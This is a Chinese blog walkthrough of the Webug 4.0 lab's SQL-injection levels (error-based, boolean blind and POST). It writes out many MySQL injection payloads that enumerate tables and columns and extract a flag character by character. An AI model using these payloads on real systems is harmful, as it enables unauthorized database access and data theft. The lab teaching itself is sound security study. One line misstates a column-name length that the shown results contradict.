Webug 4.0靶场通关笔记(注入篇)
webug这个 靶场很早的时候就接触过了,当时还是3.0的靶场,需要开虚拟机才能运行。现在4.0也出来了,并且支持源码安装。所以我也打算重新做一遍,把自己的解题思路都写一遍。这里我按漏洞类型分类,这篇全部是关于注入的。
我是在本机上采用源码安装的,这里就不介绍安装过程了,官方文档很详细了。注意用PHPstudy的时候一定要切换php的版本为5.5,默认的无法显示报错。
后台用户密码都是admin,进入到后台页面。我们选择注入的漏洞类型。
感觉提供的漏洞还是蛮多,不废话了,直接开干。
-
显错注入
我们先修改参数为2,显示hello。
单引号报错,根据回显判断是字符型。
order by 3时触发报错,说明有两列。
判断位置,前面的id参数改为-1是给union查询让出位置。可以确定显示参数的位置为2,我们之后的查询放在2的位置即可。
查询当前数据库为webug,接下来就是爆表。
发现了存在flag的表。
由于sql语句较长,我们可以使用hackbar直接生成payload,非常方便。
然后选择列数和查询所在的位置。
查询flag表下面的列名。
拿到flag!
-
布尔注入
而在盲注的sql查询中,服务器只会返回是,不是两种回答,因此就给我们的注入带来了麻烦,手工盲注的工作量是普通注入的几十倍之多,一般来说我们采用自动化注入工具,如sqlmap来实现,但在这里我还是演示手工盲注的思路。
这道题和上面的区别只是没有了报错显示,只能根据是否有回显来判断注入是否正确,但是思路是相同的。
根据回显判断同样是字符型。
order by查询多少列和上面一样。但记住一点,有返回就是正确的,没返回就代表有错
拿上面的图来说,如果我们进行盲注,直接输入2′ union select 1,database();#
页面只会返回一个hello,我们不能据此得到什么,因此我们如果想要得到数据库的名字,那么我们首先需要猜测数据库名字的长度,接着一个字母一个字母的猜测,根据服务器返回的确认信息,一一确认每个字母。
step1 判断是否存在注入,以及注入类型
通常的,我们采取单引号测试法进行判断是否存在注入漏洞,上面我们已经判断出来了。
step2 猜测数据库中表的数量
分别输入
1′ and (select count(table_name) from information_schema.tables where table_schema=database())<5# 不存在
1′ and (select count(table_name) from information_schema.tables where table_schema=database())<10# 存在
说明我们的表数量在5-10之间,我们逐一测试发现表数量为7。
step3 猜测每个表的名字
猜测表名之前,我们应该猜测每个表表名的长度
猜测第一个表名的长度
2′ and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>5# 存在
2′ and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)<10# 存在
说明第一个表名的长度在5和10之间。通过二分查找,会比逐一比较快很多。
同理,
猜测第二个表名的长度
1′ and (select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)>5# 存在
1′ and (select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)<10# 存在
…………
即第二个表名的长度为8
可能很多人在学习sql的时候没有关注到limit,这里提一下limit的用法
select * from table LIMIT 5,10; #返回第6-15行数据
select * from table LIMIT 5; #返回前5行
select * from table LIMIT 0,5; #返回前5行
总结:
limit a,b #返回第a+1至a+b行的数据
在猜测完表名的长度后,我们就可以进行表名的猜测了,这里一个一个字母的猜
猜测第一个表的表名
2′ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97# 存在
2′ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122# 存在
2′ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>109# 不存在
2′ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103# 存在
2′ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>99# 存在
2′ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=100# 存在
同理,以此类推可得第一个表名为data_crud
猜测第二个表的表名
和上面一样。知道注出我们需要的表,显然这里我们需要的是flag表。
这里提一下substr的用法
一般有两种
SBUSTR(str,pos);
就是从pos开始的位置,一直截取到最后
SUBSTR(str,pos,len);
这种表示的意思是,就是从pos开始的位置,截取len个字符(空白也算字符)。
step4 猜测flag表中每列的名字
猜测flag表的字段数
2′ and (select count(column_name) from information_schema.columns where table_name=’flag’)=1# 不成功
2′ and (select count(column_name) from information_schema.columns where table_name=’flag’)=2# 成功
猜测flag表每一列的长度
2′ and length(substr((select column_name from information_schema.columns where table_name=’flag’ limit 0,1),1))=1#不存在
2′ and length(substr((select column_name from information_schema.columns where table_name=’flag’ limit 0,1),1))=2# 存在
第一列列名长度为2
2′ and length(substr((select column_name from information_schema.columns where table_name=’flag’ limit 1,1),1))=2#不存在
2′ and length(substr((select column_name from information_schema.columns where table_name=’flag’ limit 1,1),1))=4# 存在
第二列列名长度为2
所以两列列名的长度分别为2,4
我们可以猜测,分别为id和flag。因为做过第一题,已经知道列名了哈哈,再测试下即可。
2′ and ascii(substr((select column_name from information_schema.columns where table_name=’flag’ limit 0,1),1,1))=105# 存在
2′ and ascii(substr((select column_name from information_schema.columns where table_name=’flag’ limit 0,1),1,1))=100# 存在
说明我们的猜测也完全正确。
我们可以以此类推,直至将id,flag的信息全部猜出,因为我们需要flag,只需第二个字段即可。
2′ and ascii(substr((select flag from flag limit 0,1),1,1))=100# d
2′ and ascii(substr((select flag from flag limit 0,1),2,1))=102# f
2′ and ascii(substr((select flag from flag limit 0,1),3,1))=97# a
2′ and ascii(substr((select flag from flag limit 0,1),4,1))=102# f
2′ and ascii(substr((select flag from flag limit 0,1),5,1))=100# d
2′ and ascii(substr((select flag from flag limit 0,1),6,1))=97# a
2′ and ascii(substr((select flag from flag limit 0,1),7,1))=115# s
2′ and ascii(substr((select flag from flag limit 0,1),8,1))=102# f
2′ and ascii(substr((select flag from flag limit 0,1),9,1))=97# a
2′ and ascii(substr((select flag from flag limit 0,1),10,1))=102# f
2′ and ascii(substr((select flag from flag limit 0,1),11,1))=100# d
2′ and ascii(substr((select flag from flag limit 0,1),12,1))=115# s
2′ and ascii(substr((select flag from flag limit 0,1),13,1))=97# a
2′ and ascii(substr((select flag from flag limit 0,1),14,1))=100#d
2′ and ascii(substr((select flag from flag limit 0,1),15,1))=102# f
2′ and ascii(substr((select flag from flag limit 0,1),16,1))=97# a
从上到下,就依次是我们的flag了。
总结:布尔盲注手工测试非常需要耐心,熟悉原理后建议使用sqlmap。
-
post注入
其实这个和第一关没有本质的区别,只是将内容post提交,没有在地址栏显示。先搜索一个单引号。
发现引发了报错,还显示了sql语句。
同样hackbar一把梭。
接着还是查询位置。
没有报错,但是页面上面找不到我们的字符串。这里为什么我没有用1,2来查找位置呢,而是用这种很长的字符串代替呢?
因为页面上内容很多的时候,1,2出现的次数可能很多,不容易找到从而确定位置。
之后的步骤就和上面的布尔盲注相同了。
赞赏微信赞赏支付宝赞赏
发表评论